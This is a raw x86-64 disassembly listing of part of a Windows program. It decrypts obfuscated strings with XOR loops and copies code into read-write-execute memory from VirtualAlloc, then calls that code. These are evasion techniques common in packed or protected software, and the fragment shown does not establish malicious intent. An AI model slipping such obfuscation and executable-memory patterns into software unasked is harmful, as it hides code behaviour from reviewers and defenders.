lea rcx, [rsp + 0x6fc]
nop
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140207f30
jmp 0x14020817f
lea r10, [rsp + 0x6f8]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140208130
xorps xmm0, xmm0
movups xmmword [rsp + 0x558], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x568], xmm1
lea rax, [rsp + 0x6f8]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x1402081a1
lea rdx, [rsp + 0x6f8]
lea rcx, [rsp + 0x558]
call fcn.1401d4c30
nop
lea rcx, [rsp + 0x558]
call fcn.1401c6640
nop
lea rcx, [rsp + 0x558]
call fcn.140210af0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xf0], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xdd0], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xdd8], r12
mov qword [rsp + 0xde0], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xdd0], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140281430]
test rax, rax
je 0x14020826a
mov r8, rsi
lea rdx, [0x140212d30]
nop
cmp rax, rdx
je 0x140208259
inc ecx
mov r8d, ecx
mov rax, qword [r15 + rcx*8 + 0x281430]
test rax, rax
jne 0x140208240
jmp 0x14020826a
mov r8, qword [r15 + r8*8 + 0x283a30]
test r8, r8
jne 0x140208356
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140208291
mov r8, rsi
jmp 0x14020832e
lea rax, [0x140212d30]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402082a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140281da0]
lea rcx, [0x140212d30]
mov qword [r15 + rax*8 + 0x281430], rcx
mov qword [r15 + rax*8 + 0x283a30], r8
inc rax
mov qword [0x140281da0], rax
lea rdx, [rsp + 0xf0]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xdd0], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
movups xmm0, xmmword [0x140261850]
movups xmmword [rsp + 0x6c0], xmm0
movups xmm1, xmmword [0x140261860]
movups xmmword [rsp + 0x6d0], xmm1
movups xmm0, xmmword [0x140261870]
movups xmmword [rsp + 0x6e0], xmm0
movsd xmm0, qword [0x140261880]
movsd qword [rsp + 0x6f0], xmm0
mov ebx, dword [0x140275008]
cmp ebx, 2
jl 0x1402085e8
mov edx, esi
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x6c4]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140208401
jmp 0x14020864f
lea r10, [rsp + 0x6c0]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140208600
xorps xmm0, xmm0
movups xmmword [rsp + 0x538], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x548], xmm1
lea rax, [rsp + 0x6c0]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140208671
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x538]
call fcn.1401d4c30
nop
lea rcx, [rsp + 0x538]
call fcn.1401c6640
nop
lea rcx, [rsp + 0x538]
call fcn.140210af0
movups xmm0, xmmword [str._v__1_0_xk]
movups xmmword [rsp + 0x120], xmm0
movzx eax, word [0x1402628e0]
mov word [rsp + 0x130], ax
cmp byte [0x1402628e1], 0
je 0x14020896f
mov r9d, esi
cmp ebx, 2
jl 0x140208904
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x124]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140208715
cmp r9d, 0x12
jge 0x14020896f
movsxd rax, r9d
lea r10, [rsp + 0x120]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140208920
xorps xmm0, xmm0
movups xmmword [rsp + 0x318], xmm0
mov qword [rsp + 0x328], rsi
mov qword [rsp + 0x330], rsi
lea rax, [rsp + 0x120]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140208995
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x318]
call fcn.1401d4c30
lea rcx, [rsp + 0x318]
call fcn.1401c8710
xorps xmm0, xmm0
movups xmmword [rsp + 0xdb8], xmm0
lea rcx, [rsp + 0xc9d8]
mov qword [rsp + 0xdc0], r12
mov qword [rsp + 0xdc8], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xdb8], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402830a0]
lea rbx, [0x1402137d0]
test rax, rax
je 0x140208a3b
mov rdx, rsi
cmp rax, rbx
je 0x140208a2a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x2830a0]
test rax, rax
jne 0x140208a12
jmp 0x140208a3b
mov rdx, qword [r15 + rdx*8 + 0x285040]
test rdx, rdx
jne 0x140208b1f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140208a62
mov rdx, rsi
jmp 0x140208afe
mov rax, rbx
mov rcx, rdx
mov r8d, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140208a70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140283d68]
mov qword [r15 + rax*8 + 0x2830a0], rbx
mov qword [r15 + rax*8 + 0x285040], rdx
inc rax
mov qword [0x140283d68], rax
lea rcx, [0x1401db6a0]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xdb8], rax
lea rcx, [rsp + 0xc9d8]
mov qword [rcx], rax
movups xmm0, xmmword [0x140262a50]
movups xmmword [rsp + 0x950], xmm0
movups xmm1, xmmword [0x140262a60]
movups xmmword [rsp + 0x960], xmm1
movups xmm0, xmmword [0x140262a70]
movups xmmword [rsp + 0x970], xmm0
movups xmm1, xmmword [0x140262a80]
movups xmmword [rsp + 0x980], xmm1
movups xmm0, xmmword [0x140262a90]
movups xmmword [rsp + 0x990], xmm0
movups xmm1, xmmword [0x140262aa0]
movups xmmword [rsp + 0x9a0], xmm1
movups xmm0, xmmword [0x140262ab0]
movups xmmword [rsp + 0x9b0], xmm0
movups xmm1, xmmword [str.___b]
movups xmmword [rsp + 0x9c0], xmm1
movsd xmm0, qword [0x140262ad0]
movsd qword [rsp + 0x9d0], xmm0
movzx eax, byte [0x140262ad8]
mov byte [rsp + 0x9d8], al
mov r9d, esi
cmp dword [0x140275008], 2
jl 0x140208e15
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x140265200]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x954]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140265140]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x140265220]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x140265220]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140265230]
pmuldq xmm1, xmmword [0x140265230]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140265240]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402651f0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140265170]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402651f0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x140208c20
cmp r9d, 0x89
jge 0x140208e82
movsxd rax, r9d
lea r10, [rsp + 0x950]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x24
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x140208e30
lea rax, [rsp + 0x950]
mov qword [rsp + 0x298], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xda0], xmm0
lea rax, [rsp + 0xc9d8]
mov qword [rsp + 0xda8], r12
mov qword [rsp + 0xdb0], rax
mov rbx, qword [rax]
xor rbx, r12
mov qword [rsp + 0xda0], rbx
mov qword [rax], rsi
mov edx, esi
mov rcx, qword [0x140281a80]
test rcx, rcx
je 0x140208f0a
mov r8, rsi
lea rax, [0x140212d00]
nop
cmp rcx, rax
je 0x140208ef9
inc edx
mov r8d, edx
mov rcx, qword [r15 + rdx*8 + 0x281a80]
test rcx, rcx
jne 0x140208ee0
jmp 0x140208f0a
mov r8, qword [r15 + r8*8 + 0x281110]
test r8, r8
jne 0x140208fff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [0x140212d00]
test rax, rax
jne 0x140208f38
mov r8, rsi
jmp 0x140208fde
mov rax, rdx
mov rcx, r8
mov r9d, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r9, 1
jne 0x140208f50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140280a90]
mov qword [r15 + rax*8 + 0x281a80], rdx
mov qword [r15 + rax*8 + 0x281110], r8
inc rax
mov qword [0x140280a90], rax
lea rdx, [rsp + 0x298]
mov rcx, rdi
call r8
nop
xor rbx, r12
mov qword [rsp + 0xda0], rbx
lea rax, [rsp + 0xc9d8]
mov qword [rax], rbx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xc134], 0xffffffff
mov dword [rsp + 0xadb4], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xadb4], eax
inc rdx
cmp rdx, 0x270
jb 0x140209041
mov dword [rsp + 0xadb0], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140209090
lea rcx, [rsp + 0xde8]
call fcn.140210af0
nop
mov rax, qword [rsp + 0x1020]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x1020], rax
mov rax, qword [rsp + 0x1020]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x101c], edx
lea rcx, [rsp + 0x1030]
call fcn.14020e240
lea rcx, [rsp + 0x1038]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x10b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1110]
call fcn.140210af0
nop
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xfa0], rax
mov rdx, qword [rsp + 0x1010]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14020b60b
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0x1008]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14020b631
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0x1000]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14020b657
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xff8]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
sub r13d, 1
jg 0x14020b67d
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
nop
